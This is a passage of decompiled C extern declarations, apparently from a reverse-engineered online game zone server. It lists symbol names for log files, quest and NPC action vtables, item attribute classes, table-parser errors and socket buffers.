aZoneserverZs_5[]; // idb extern char aDeamondead[]; // idb extern char aMenustring[]; // idb extern char aEtc[]; // idb extern char aAssert[]; // idb extern char pkDir[]; // idb extern char aPlayerBufferSi[]; // idb extern char aZoneserverZ_10[]; // idb extern char aMobaggrolog[]; // idb extern char aSkilllog[]; // idb extern char aKqlog[]; // idb extern char aPacketlog[]; // idb extern char aZoneringlinklo[]; // idb extern char aMobregenlog[]; // idb extern char aLoginlinklog[]; // idb extern char aServicelog[]; // idb extern char aDisconnectlog[]; // idb extern char aDisconnectlog2[]; // idb extern char aWmspacketlog[]; // idb extern char aLinklog[]; // idb extern char aAbstate2wms[]; // idb extern char aGoldhilllog[]; // idb extern char aMaprelink[]; // idb extern char aPassivelog[]; // idb extern char aFuncinitlog[]; // idb extern char aTreasureboxlog[]; // idb extern char aGuildwarlog[]; // idb extern char aGuildwarlog2[]; // idb extern char aGuildwarlog3[]; // idb extern char aCharclassbuglo[]; // idb extern char aChargeditemvan[]; // idb extern char aHorselog[]; // idb extern char aHplog[]; // idb extern char aAttackfaillog[]; // idb extern char aScriptchase[]; // idb extern char aSkillcastnotfi[]; // idb extern char aOptoolsocklog[]; // idb extern char aPartyerrorlog[]; // idb extern char aKqrewardlog[]; // idb extern char aDeadchecklog[]; // idb extern char aDropitemlog[]; // idb extern char aBriefchangeinb[]; // idb extern char aAbstatkeeptime[]; // idb extern char aKqentrylog[]; // idb extern char aKqtournamentlo[]; // idb extern char aPlayerregnumlo[]; // idb extern char aHpcharge[]; // idb extern char aKqlogoutlog[]; // idb extern char aAttackimmortal[]; // idb extern char aMoredisconnect[]; // idb extern char aPartyinformlog[]; // idb extern char aWmhrepairlog[]; // idb extern char aInnerminihouse[]; // idb extern char aItemreloclog[]; // idb extern char aMobitemdroplog[]; // idb extern char aGuildwarrefres[]; // idb extern char aPacketlengthov[]; // idb extern char aSocketmultipli[]; // idb extern char aHolypromiselog[]; // idb extern char aLockindexlog[]; // idb extern char aGuildtournam_4[]; // idb extern char aShineobjecthan[]; // idb extern char aDebuglog[]; // idb extern char aCannouncesys_1[]; // idb extern char aCannouncesyste[]; // idb extern char aShineobjectS_0[]; // idb extern char aShineplayer_42[]; // idb extern char aShineobjectS_1[]; // idb extern char aShineplayer_27[]; // idb extern int (__stdcall *CQuestZone::_vftable_)(int sklidx); // weak extern char aCquestzoneIn_1[]; // idb extern char aCquestzoneInit[]; // idb extern char aCquestzoneQ_15[]; // idb extern char aCquestzoneQ_26[]; // idb extern char aCquestzoneQ_22[]; // idb extern char aCquestzoneQ_31[]; // idb extern char aCquestzoneQues[]; // idb extern char aCquestzoneGetp[]; // idb extern char aCquestzoneGetq[]; // idb extern char aCquestzoneGe_1[]; // idb extern char aCquestzoneGets[]; // idb extern char aCquestzoneSe_2[]; // idb extern char aCquestzoneSend[]; // idb extern char aCquestzoneS_16[]; // idb extern char aCquestzoneSe_6[]; // idb extern char aCquestzoneS_14[]; // idb extern char aCquestzoneS_19[]; // idb extern char aCquestzoneRe_0[]; // idb extern char aCquestzoneS_12[]; // idb extern char aCquestzoneS_17[]; // idb extern char aCquestzoneSe_4[]; // idb extern char aCquestzoneRe_5[]; // idb extern char aCquestzoneSe_1[]; // idb extern char aCquestzoneSe_5[]; // idb extern char aCquestzoneSe_0[]; // idb extern char aCquestzoneSe_3[]; // idb extern char aCquestzoneSe_9[]; // idb extern char aCquestzoneS_18[]; // idb extern char aCquestzoneSe_7[]; // idb extern char aCquestzoneS_10[]; // idb extern char aCquestzoneRe_4[]; // idb extern char aCquestzoneS_15[]; // idb extern char aCquestzoneS_13[]; // idb extern char aCquestzoneMake[]; // idb extern char aCquestzoneMa_2[]; // idb extern char aCquestzoneMa_0[]; // idb extern char aSDS[]; // idb extern char aCquestzonePsst[]; // idb extern char aCquestzoneQ_29[]; // idb extern char aCquestzoneQ_32[]; // idb extern char aCquestzoneQ_25[]; // idb extern char aCquestzoneQ_12[]; // idb extern char aCquestzoneQu_4[]; // idb extern char aCquestzoneQ_27[]; // idb extern char aCquestzoneQ_16[]; // idb extern char aCquestzoneQ_23[]; // idb extern char aCquestzoneQ_30[]; // idb extern char aCquestzoneQ_36[]; // idb extern char aCquestzoneQu_7[]; // idb extern char aCquestzoneS_11[]; // idb extern char aErrorRecv_nc_q[]; // idb extern char aCquestzoneRecv[]; // idb extern char aCquestzoneRe_6[]; // idb extern char aCquestzoneQ_18[]; // idb extern char aCquestzoneQ_28[]; // idb extern char aPromoteJobch_0[21]; // weak extern char aCquestzoneQu_5[]; // idb extern char aPromoteJobch_3[21]; // weak extern char aCquestzoneQ_37[]; // idb extern char aPromoteJobch_1[21]; // weak extern char aCquestzoneQ_33[]; // idb extern char aCquestzoneQ_24[]; // idb extern char aPromoteJobchan[19]; // weak extern char aCquestzoneQ_10[]; // idb extern char aCquestzoneQ_34[]; // idb extern char aCquestzoneQu_1[]; // idb extern char aCquestzoneQ_11[]; // idb extern char aCquestzoneQ_14[]; // idb extern char aCquestzoneQ_13[]; // idb extern char aCquestzoneQu_6[]; // idb extern char aCquestzoneQu_3[]; // idb extern char aCquestzoneQu_0[]; // idb extern char aCquestzoneQ_19[]; // idb extern char aCquestzoneQ_17[]; // idb extern char aCquestzoneQ_35[]; // idb extern char aCquestzoneQ_21[]; // idb extern char aCquestzoneQ_20[]; // idb extern char aErrorRecv_nc_1[]; // idb extern char aErrorCquestzon[59]; // idb extern char aCquestzoneRe_3[]; // idb extern char aErrorCquestz_1[51]; // idb extern char aCquestzoneNc_q[]; // idb extern char aCquestzoneRe_8[]; // idb extern char aCquestzoneRe_1[]; // idb extern char aCquestzonePsen[]; // idb extern char asc_5D6C78[]; // idb extern char aCquestzoneQu_8[]; // idb extern char aCquestzoneQu_9[]; // idb extern char aCquestzoneRe_2[]; // idb extern char aQuestlog[]; // idb extern int (__thiscall *NPCAction::DispelAction::_vftable_)(void *p, char); // weak extern int (__thiscall *NPCAction::EmotionlAction::_vftable_)(void *p, char); // weak extern int (__thiscall *NPCAction::AbStateAction::_vftable_)(void *p, char); // weak extern char aSkillactionS_1[]; // idb extern char aSkillactionSki[]; // idb extern int (__thiscall *NPCAction::SkillAction::_vftable_)(void *p, char); // weak extern int (__thiscall *NPCAction::DieAction::_vftable_)(void *p, char); // weak extern int (__thiscall *NPCAction::GTItemAction::_vftable_)(void *p, char); // weak extern int (__thiscall *NPCAction::InteractAction::_vftable_)(void *p, char); // weak extern int (__thiscall *NPCAction::NoticeAction::_vftable_)(void *p, char); // weak extern char aActiongen_op_2[]; // idb extern char aGtieffect_1[]; // idb extern char aDie[]; // idb extern char aNotice[]; // idb extern char aActiongen_op_0[]; // idb extern char aActiongen_op_4[]; // idb extern char aAbstate_1[]; // idb extern char aEmotion[]; // idb extern char aLink[]; // idb extern char aActiongen_op_1[]; // idb extern char aActiongen_opti[]; // idb extern char aDispell[]; // idb extern char aNpcaction[]; // idb extern int (__thiscall *NPCAction::NoneCondition::_vftable_)(void *p, char); // weak extern int (__thiscall *NPCAction::ABStateCondition::_vftable_)(void *p, char); // weak extern int (__thiscall *NPCAction::LvGapCondition::_vftable_)(void *p, char); // weak extern int (__thiscall *NPCAction::ClassCondition::_vftable_)(void *p, char); // weak extern int (__thiscall *NPCAction::SkillCondition::_vftable_)(void *p, char); // weak extern int (__thiscall *NPCAction::EmotionCondition::_vftable_)(void *p, char); // weak extern int (__thiscall *NPCAction::GT_TeamCondition::_vftable_)(void *p, char); // weak extern int (__thiscall *NPCAction::DeadCondition::_vftable_)(void *p, char); // weak extern char aNoneconditionC[]; // idb extern char aAbstateconditi[]; // idb extern char aLvgapcondition[]; // idb extern char aClasscondition[]; // idb extern char aCondgen_opti_0[]; // idb extern char aGtiteam[]; // idb extern char aNone[]; // idb extern char aDefault[]; // idb extern char aCondgen_opti_4[]; // idb extern char aCondgen_opti_3[]; // idb extern char aClass[]; // idb extern char aLvgap[]; // idb extern char aCondgen_opti_2[]; // idb extern char aCondgen_option[]; // idb extern char aTerm[]; // idb extern char aNpccondition[]; // idb extern int (__stdcall *NeighborhoodChecker::_vftable_)(#331 *pcName, ShineRTTI *pkBaseRTTI, int distancesquar); // weak extern char aNeighborhoodch[]; // idb extern int (__thiscall *NPCAction::Trigger::_vftable_)(void *p, char); // weak extern char a__9dataShin_72[]; // idb extern char aNpcactionUtilL[]; // idb extern char aZoneserverZs_6[]; // idb extern char a__9dataShin_57[]; // idb extern char aNpcactionTri_1[]; // idb extern char aDotriggers_Ope[]; // idb extern char aTriggergen_o_1[]; // idb extern char aTriggergen_o_2[]; // idb extern char aTriggergen_o_5[]; // idb extern char aTriggergen_o_0[]; // idb extern char aTriggergen_o_3[]; // idb extern char aTriggergen_opt[]; // idb extern char aTrigger[]; // idb extern char aDwordAccupgrad[]; // idb extern char aAccupgradein_1[]; // idb extern char aGuildtournam_3[]; // idb extern char aGuildtourna_19[]; // idb extern char aGuildtourna_10[]; // idb extern char aGtigetrateta_0[]; // idb extern char aGtigetrateta_2[]; // idb extern char aGtigetratetabl[]; // idb extern char aGuildtournam_7[]; // idb extern char aMysteryvaultta[]; // idb extern char aMysteryboltt_1[]; // idb extern char aMysteryboltt_4[]; // idb extern char aMysteryboltt_6[]; // idb extern char aMysterybolttab[]; // idb extern char aNavigatorPat_1[]; // idb extern char aNavigatorPathf[]; // idb extern char aNavigatorMap_2[]; // idb extern char aNavigatorWaiti[]; // idb extern char aNavigatorWai_0[]; // idb extern char aNavigatorWai_2[]; // idb extern char aNavigatorMap_3[]; // idb extern char aNavigatorPatha[]; // idb extern char aNavigatorMap_0[]; // idb extern char aNavigatorMapna[]; // idb extern char aNavigatorVirtu[]; // idb extern char aNavigatorVir_2[]; // idb extern char aNavigatorVir_0[]; // idb extern char aCcharacterti_1[]; // idb extern char aCcharacterti_4[]; // idb extern char aCcharacterti_3[]; // idb extern char aCcharactertitl[]; // idb extern char aCcharacterti_0[]; // idb extern char aSend_nc_ct_d_1[]; // idb extern char aSend_nc_ct_db_[]; // idb extern char aCcharacterti_5[]; // idb extern char asc_5D79A8[]; // idb extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern int (__thiscall *CGuildZone::_vftable_)(CGuildZone *this, int pCmd); // weak extern char aCguildzoneClea[]; // idb extern char aCguildzoneSe_1[]; // idb extern char aCguildzoneSend[]; // idb extern char aCguildzoneRecv[]; // idb extern char aCguildzoneRe_1[]; // idb extern char aBossfieldcon_0[]; // idb extern char asc_5D7B54[]; // idb extern char asc_5D7B8C[]; // idb extern char aBossfieldcon_6[]; // idb extern char aBossfieldcon_5[]; // idb extern char asc_5D7C34[]; // idb extern char asc_5D7C64[]; // idb extern char aBossfieldcon_8[]; // idb extern char aServentbuffb_1[]; // idb extern char aServentbuffb_3[]; // idb extern char aServentbuffb_2[]; // idb extern char aServentbuffbos[]; // idb extern char a__9dataShineSt[]; // idb extern char aBossfieldconte[]; // idb extern char aBossfieldcon_7[]; // idb extern char aBossfieldco_13[]; // idb extern char aBossfieldcon_3[]; // idb extern char a__9dataShineMo[]; // idb extern char aBossfieldco_15[]; // idb extern char aBossfieldco_11[]; // idb extern char aBossfieldcon_2[]; // idb extern char aBossfieldcon_9[]; // idb extern char aBossfieldco_14[]; // idb extern char aBossfieldco_10[]; // idb extern char aBossfieldcon_4[]; // idb extern char a__9dataShin_11[]; // idb extern char aBossfieldco_12[]; // idb extern char aAssertS02d_txt[]; // idb extern char aSAssertclassAc[]; // idb extern char aSAssertclass_2[]; // idb extern char aSAssertclass_0[]; // idb extern char aSAssertclass_3[]; // idb extern char aExitlogS02d_tx[]; // idb extern char aShinescriptS_0[]; // idb extern char aScrindex[]; // idb extern char aShinescriptS_2[]; // idb extern char aShinescriptSs_[]; // idb extern char a__9dataShin_36[]; // idb extern char a__9dataShin_17[]; // idb extern char aKqscriptmanage[]; // idb extern char aTooManyKqScrip[]; // idb extern char aInvalidScrip_1[]; // idb extern char aInvalidScriptN[]; // idb extern char aKqscriptmana_1[]; // idb extern char aDialogfile[]; // idb extern char a__9dataShin_30[]; // idb extern char aMobresisttab_1[]; // idb extern char aMobresisttable[]; // idb extern char aMapidclient[]; // idb extern char aItemattributec[]; // idb extern int (__stdcall *ItemAttributeClass::_vftable_[3])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_ByteLot::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_WordLot::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_DwrdLot::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_QuestLot::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_Amulet::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_Weapon::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_Armor::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_Shield::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_Boot::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_Furniture::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_Decoration::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_SkillScroll::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_RecallScroll::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_BindItem::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_UpSource::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_ItemChest::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_WeaponTitlaLicence::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_KingdomQuestItem::_vftable_[3])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_MiniHouseSkin::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_UpgradeRedGem::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_UpgradeBlueGem::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_UpgradeGoldGem::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_KQStep::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_Feed::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_Riding::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_Amount::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_CostumWeapon::_vftable_[3])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_ActionItem::_vftable_[2])(int itm, int buffer); // weak extern char aN1[4]; // weak extern char aMobdataboxRe_2[]; // idb extern char aMobdataboxRe_1[]; // idb extern char aMemoryLeakForI[]; // idb extern char aDataDuplicateI[]; // idb extern char aMobdataboxMd_0[]; // idb extern char aMobdataboxMd_9[]; // idb extern char aConflict[]; // idb extern char aDDD_1[]; // idb extern char aMobdataboxMd_1[]; // idb extern char a__9dataShin_56[]; // idb extern char a__9dataShin_31[]; // idb extern char a__9dataShin_38[]; // idb extern char a__9dataShin_53[]; // idb extern char a__9dataShin_47[]; // idb extern char a__9dataShin_73[]; // idb extern char a__9dataShine_4[]; // idb extern char a__9dataShin_68[]; // idb extern char aMobdataboxMd_4[]; // idb extern char aMobdataboxMd_6[]; // idb extern char aMobdataboxMd_3[]; // idb extern char aMobdataboxMd_2[]; // idb extern char aMobdataboxMd_8[]; // idb extern char aMobdataboxMd_7[]; // idb extern char aMobdataboxMdb_[]; // idb extern int (*NPCAction::ICondition::_vftable_[4])(); // weak extern int (__stdcall *ItemInventory::_vftable_[2])(int slot); // weak extern int (__stdcall *ItemEquipment::_vftable_[2])(int slot); // weak extern int (__stdcall *ItemQuestItemBox::_vftable_[2])(int slot); // weak extern int (__stdcall *ItemAccountStorage::_vftable_[2])(int slot); // weak extern int (__stdcall *ItemMiniHouseBox::_vftable_[2])(int slot); // weak extern int (__stdcall *ItemGuildStorage::_vftable_[2])(int slot); // weak extern int (__stdcall *ItemGuildAcademyRewardStorage::_vftable_[2])(int slot); // weak extern int (__stdcall *ItemFurnicherBox::_vftable_[2])(int slot); // weak extern int (__stdcall *ItemRewardStorage::_vftable_[2])(int slot); // weak extern char aItemrewardstor[]; // idb extern int (*ItemBoxIterItemRegNo::_vftable_[4])(); // weak extern int (*ItemSmallBag::_vftable_[3])(); // weak extern char aItembagIb_init[]; // idb extern char aSD_1[]; // idb extern char aSD[]; // idb extern char aStorageerror_t[]; // idb extern char aCharacterinven[]; // idb extern char aCharacterinv_3[]; // idb extern char aCharacterinv_0[]; // idb extern char aCharacterinv_1[]; // idb extern char aItembagIb_clea[]; // idb extern int (__stdcall *ItemActionItemBox::_vftable_[2])(int slot); // weak extern char err[]; // idb extern char aUndefinedColum[22]; // weak extern char aAtLeastOneColu[27]; // weak extern char msg[]; // idb extern char aColumnheaderWi[]; // idb extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern char aTooManyTables[]; // idb extern char aUndefinedComma[]; // idb extern char aFileNotFound[]; // idb extern char aUndefinedError[]; // idb extern char aIndex_2[]; // idb extern char aString[]; // idb extern char aByte[]; // idb extern char aWord[]; // idb extern char aDwrd[]; // idb extern char aDword[]; // idb extern char aComment[]; // idb extern char aBrace[]; // idb extern char aIgnore[]; // idb extern char aDelimiter[]; // idb extern char aExchange[]; // idb extern char aTable[]; // idb extern char aColumntype[]; // idb extern char aColumnname[]; // idb extern char aRecord[]; // idb extern char aRecordin[]; // idb extern char aEnd_0[]; // idb extern int (__stdcall *ORColumnHeader::_vftable_)(int token, int targ); // weak extern char aCannotAllocFie[]; // idb extern int (__stdcall *ORColumnHeaderIndex::_vftable_)(int token, int targ); // weak extern int (__stdcall *ORColumnHeaderString::_vftable_)(int token, char result); // weak extern char aBraceMustBeClo[]; // idb extern char aStringLengthMu[]; // idb extern char aErrorInStringL[]; // idb extern char aStringNeedLeng[]; // idb extern int (__stdcall *ORColumnHeaderByte::_vftable_)(int token, int targ); // weak extern int (__stdcall *ORColumnHeaderWord::_vftable_)(int token, int targ); // weak extern int (__stdcall *ORColumnHeaderDwrd::_vftable_)(int token, int targ); // weak extern int (__stdcall *MakePrimaryKeyColumn::_vftable_[4])(int ele, __int16 handle); // weak extern int (__stdcall *MakePrimaryKey::_vftable_[3])(int ele, __int16 handle); // weak extern int (__stdcall *OrderArgument::_vftable_[2])(int ele, __int16 handle); // weak extern int (__stdcall *ColumnNameArgument::_vftable_)(int ele, __int16 handle); // weak extern char aColumnTypeName[]; // idb extern int (__stdcall *DataRecordArgument::_vftable_[5])(int ele, __int16 handle); // weak extern int (__stdcall *ColumnCheckArgument::_vftable_[4])(int ele, __int16 handle); // weak extern int (__stdcall *TargetColumnFindArgument::_vftable_[3])(int ele, __int16 handle); // weak extern int (__stdcall *RecordDataCompareArgument::_vftable_[2])(int ele, __int16 handle); // weak extern int (__stdcall *TableNameCompareArgument::_vftable_)(int ele, __int16 handle); // weak extern char aRecordAllocErr[]; // idb extern char aTooManyRecords[]; // idb extern char aUnknownTableNa[19]; // weak extern char aRecordinHasNoT[]; // idb extern char aRecordWithoutT[]; // idb extern char aNoerr[6]; // weak extern char aExtraDataExist[17]; // weak extern char aInvalidCharact[18]; // weak extern char aCommentExpecte[19]; // weak extern char aTooManyDelimit[20]; // weak extern char aTooManyExchang[18]; // weak extern char aExceptionFaile[]; // idb extern char asc_5D9E88[76]; // weak extern char asc_5D9ED4[]; // idb extern char aCall_0[4]; // weak extern int dword_5D9EDC; // weak extern int dword_5D9EE0; // weak extern __int16 word_5D9EE4; // weak extern _UNKNOWN unk_5D9EE8; // weak extern char aExceptionFai_2[]; // idb extern char aExceptionFai_1[]; // idb extern char aExceptionSaved[]; // idb extern char a_mdm[4]; // weak extern __int16 word_5D9F8C; // weak extern char aMinidumpwrited[]; // idb extern char aDbgh[]; // idb extern int dword_5D9FEC; // weak extern void *off_5D9FF0; // weak extern char aItemoptionsd_7[]; // idb extern char aItemoptionsd_6[]; // idb extern char aItemoptionsd_3[]; // idb extern char aItemoptionsd_0[]; // idb extern char a__9dataShineSh[]; // idb extern char aItemoptionsd_2[]; // idb extern char aItemoptionsd_8[]; // idb extern char aItemoptionsd_1[]; // idb extern char aItemoptionsd_9[]; // idb extern char aItemoptionsd_5[]; // idb extern char aItemoptionsdat[]; // idb extern char a__9dataShin_13[]; // idb extern char aErrorcodeD_1[]; // idb extern char aErrorcodeD[15]; // weak extern char aSS_2[]; // idb extern char a04d02d02d_1[]; // idb extern char aSS[]; // idb extern char aTtHhmmss[]; // idb extern char a_DebugmessageS[]; // idb extern char a06dSS[]; // idb extern char aC_5[4]; // weak extern char byte_5DA32C; // weak extern char aC_4[]; // weak extern char aComspec[]; // idb extern char strFunct[]; // idb extern char strstrParams[]; // idb extern char aDARshaSQF[]; // idb extern char aEARshaSQF[]; // idb extern char aFARshaSQF[]; // idb extern char aCsocket_iocpRe[]; // idb extern char aCsocket_iocp_0[]; // idb extern char aSendIobufferFu[]; // idb extern char aCsocket_iocp_3[]; // idb extern char aCsocket_iocpWr[]; // idb extern char aCsocket_iocp_1[]; // idb extern char aMissmatchWrite[]; // idb extern char aM_pfirstbufNul[]; // idb extern char aWarningCsock_1[]; // idb extern char aWarningCsocket[]; // idb extern int (__cdecl *CPacket::_vftable_[2])(int __formal); // weak extern char aIocpWorkthre_1[]; // idb extern char aIocpWorkthread[]; // idb extern char asc_5DA6E4[2]; // weak extern char byte_5DA6E6; // weak extern char asc_5DA6E8[2]; // weak extern char byte_5DA6EA; // weak extern char asc_5DA6EC[4]; // weak extern __int16 word_5DA6F0; // weak extern char aFormatDefinnin[]; // idb extern char aSFormatDefinin[]; // idb extern char aDataDefinningE[]; // idb extern char asc_5DA758[]; // idb extern char aTotalDataDDefi[]; // idb extern char aTotalFormatDDe[]; // idb extern char aIncludeDataDDe[]; // idb extern char aIncludeFormatD[]; // idb extern char aSWriteDataErro[]; // idb extern char aSWriteDataOk[19]; // weak extern char aSWriteFormatEr[]; // idb extern char aSWriteFormatOk[21]; // weak extern char aSWriteOk[14]; // weak extern char aSWriteError[17]; // weak extern char aSReadError[]; // idb extern char aSReadOk[]; // idb extern char aIncludeOpenErr[]; // idb extern char aFileOpenErrorC[33]; // weak extern char aSUnknowned_[]; // idb extern char aIncludeS[]; // idb extern char asc_5DA8F8[]; // idb extern char aFileProcessing[]; // idb extern char pszMsg[]; // idb extern char aFailedListen_1[]; // idb extern char aErrorListenSoc[]; // idb extern int (__cdecl *WinService::_vftable_)(int __formal); // weak extern int (__thiscall *String::_vftable_)(void *p, char); // weak extern char aItemdataboxI_0[]; // idb extern char aItemdataboxI_2[]; // idb extern char aMiniwedding01_[]; // idb extern char aWeddingcoupon[]; // idb extern char aInvitationcard[]; // idb extern char aProposering[]; // idb extern char a__9dataShin_24[]; // idb extern char aIn_moneycard00[]; // idb extern char aGuildtendency[]; // idb extern char aGuildname[]; // idb extern char aKaris[]; // idb extern char aKq_soulcrystal[]; // idb extern char aWingstone01_1[]; // idb extern char aGoddesswing[]; // idb extern char aProdreload01[]; // idb extern char aRoar[]; // idb extern char aSpmpotion3[]; // idb extern char aSpmpotion0[]; // idb extern char aSpmpotion2[]; // idb extern char aSpmpotion1[]; // idb extern char aHpmpotion3[]; // idb extern char aHpmpotion0[]; // idb extern char aHpmpotion2[]; // idb extern char aHpmpotion1[]; // idb extern char aHouse_mushroom[]; // idb extern char aLicenseclear[]; // idb extern char aSkillreloadb_1[]; // idb extern char aFreestatusre_1[]; // idb extern char aSkillreloadbun[]; // idb extern char aFreestatusrelo[]; // idb extern char aPresentbox[]; // idb extern char aSilverwings[]; // idb extern char aCen[]; // idb extern char aItemdataboxI_4[]; // idb extern char aItemdataboxI_3[]; // idb extern char aDuplicateItemH[]; // idb extern char aItemdataboxI_7[]; // idb extern char aItemdataboxI_6[]; // idb extern char aItemdataboxI_5[]; // idb extern char aDiff[]; // idb extern char aItemdataboxIdb[]; // idb extern char a__9dataShin_35[]; // idb extern char dataShine::a[]; // idb extern char a__9dataShine_0[]; // idb extern char a__9dataShin_61[]; // idb extern char aMapdataboxMdb_[]; // idb extern char aMobdataboxRead[]; // idb extern char a__9dataShineMa[]; // idb extern int (*ORField::_vftable_[5])(); // weak extern int (__stdcall *ORFieldIndex::_vftable_)(int contentstring, int contentindex); // weak extern char aCannotReadInde[]; // idb extern int (__stdcall *ORFieldString::_vftable_)(int contentstring, int contentindex); // weak extern int (__stdcall *ORFieldByte::_vftable_)(char *contentstring, int num); // weak extern char aCannotReadByte[]; // idb extern int (__stdcall *ORFieldWord::_vftable_)(char *contentstring, int num); // weak extern char aCannotReadWord[]; // idb extern int (__stdcall *ORFieldDwrd::_vftable_)(char *contentstring, int num); // weak extern char aCannotReadDwrd[]; // idb extern char aCannotReadStri[]; // idb extern char aMicrosoftCExce[24]; // weak extern char aException_stac[25]; // weak extern char aException_priv[27]; // weak extern char aException_in_0[23]; // weak extern char aException_int_[29]; // weak extern char aException_fl_2[24]; // weak extern char aException_fl_0[26]; // weak extern char aException_fl_6[23]; // weak extern char aException_fl_1[32]; // weak extern char aException_fl_4[29]; // weak extern char aException_fl_3[29]; // weak extern char aException_flt_[31]; // weak extern char aException_in_2[25]; // weak extern char aException_inva[30]; // weak extern char aException_nonc[35]; // weak extern char aException_ille[30]; // weak extern char aException_arra[32]; // weak extern char aException_in_p[24]; // weak extern char aException_sing[22]; // weak extern char aException_acce[27]; // weak extern char aException_brea[21]; // weak extern char aException_guar[21]; // weak extern char aException_data[32]; // weak extern char aSLine04d[]; // idb extern char aSLine04d04dByt[]; // idb extern char aS_3[]; // idb extern char aS04dByteS[]; // idb extern char asc_5DB3E0[]; // idb extern char a0x08x0x08x0x08[]; // idb extern char a04x08x[]; // idb extern _UNKNOWN unk_5DB410; // weak extern char aAt04x08x[]; // idb extern char aUnknown[]; // idb extern char aInModule[]; // idb extern char asc_5DB44C[]; // idb extern char aNtdll_dll[]; // idb extern char asc_5DB45C[]; // idb extern char aCausedAn[]; // idb extern char aBadParameterTo[]; // idb extern _UNKNOWN unk_5DB498; // weak extern char aGetfirststackt[]; // idb extern int (__thiscall *CIOBuffer::_vftable_)(void *p, char); // weak extern char aIobuffercontai[]; // idb extern char asc_5DB514[4]; // weak extern char byte_5DB518; // weak extern int (__stdcall *CSocket_Acceptor_Process_Interface::_vftable_)(int pOverlapped, int NumOfBytes); // weak extern int (__thiscall *AreaInfoData::_vftable_)(void *p, char); // weak extern int (__stdcall *AreaInfoData::AE_Square::_vftable_[2])(float fX, float fCos); // weak extern int (__stdcall *AreaInfoData::AE_Circle::_vftable_)(float fX, float fY); // weak extern int (__stdcall *CQuest::_vftable_)(int sklidx); // weak extern int PacketEncrypt::pe_encryptlen; // weak extern char aDice[4]; // weak extern int dword_5DB5C0; // weak extern int dword_5DB5C4; // weak extern int dword_5DB5C8; // weak extern char byte_5DB5CC; // weak extern char aMini_1[4]; // weak extern int dword_5DB5D4; // weak extern int dword_5DB5D8; // weak extern int dword_5DB5DC; // weak extern void *off_5DB5E0; // weak extern char aSeti[4]; // weak extern int dword_5DB5E8; // weak extern int dword_5DB5EC; // weak extern int dword_5DB5F0; // weak extern __int16 word_5DB5F4; // weak extern char aSeti_0[4]; // weak extern int dword_5DB5FC; // weak extern void *off_5DB600; // weak extern char aMinihousefur_0[32]; // weak extern char aWeap[4]; // weak extern int dword_5DB628; // weak extern int dword_5DB62C; // weak extern int dword_5DB630; // weak extern void *off_5DB634; // weak extern char aWeap_0[4]; // weak extern int dword_5DB63C; // weak extern int dword_5DB640; // weak extern int dword_5DB644; // weak extern char byte_5DB648; // weak extern char aUpgr[4]; // weak extern int dword_5DB650; // weak extern int dword_5DB654; // weak extern void *off_5DB658; // weak extern char aSuba[4]; // weak extern int dword_5DB660; // weak extern int dword_5DB664; // weak extern __int16 word_5DB668; // weak extern char byte_5DB66A; // weak extern char aRidi[4]; // weak extern int dword_5DB670; // weak extern __int16 word_5DB674; // weak extern char byte_5DB676; // weak extern char aPass[4]; // weak extern int dword_5DB67C; // weak extern int dword_5DB680; // weak extern int dword_5DB684; // weak extern char byte_5DB688; // weak extern char aMobi[4]; // weak extern int dword_5DB690; // weak extern void *off_5DB694; // weak extern char aMini[4]; // weak extern int dword_5DB69C; // weak extern int dword_5DB6A0; // weak extern int dword_5DB6A4; // weak extern void *off_5DB6A8; // weak extern char aMinihousefur_2[23]; // weak extern char aMini_0[4]; // weak extern int dword_5DB6C8; // weak extern int dword_5DB6CC; // weak extern __int16 word_5DB6D0; // weak extern char aMapi[4]; // weak extern int dword_5DB6D8; // weak extern void *off_5DB6DC; // weak extern char aItem_0[4]; // weak extern int dword_5DB6E4; // weak extern int dword_5DB6E8; // weak extern char byte_5DB6EC; // weak extern char aItem_2[4]; // weak extern int dword_5DB6F4; // weak extern int dword_5DB6F8; // weak extern int dword_5DB6FC; // weak extern __int16 word_5DB700; // weak extern char aGrad[4]; // weak extern int dword_5DB708; // weak extern int dword_5DB70C; // weak extern int dword_5DB710; // weak extern void *off_5DB714; // weak extern char aGath[4]; // weak extern int dword_5DB71C; // weak extern __int16 word_5DB720; // weak extern char byte_5DB722; // weak extern char aClas[4]; // weak extern int dword_5DB728; // weak extern int dword_5DB72C; // weak extern __int16 word_5DB730; // weak extern char aChar[4]; // weak extern int dword_5DB738; // weak extern int dword_5DB73C; // weak extern int dword_5DB740; // 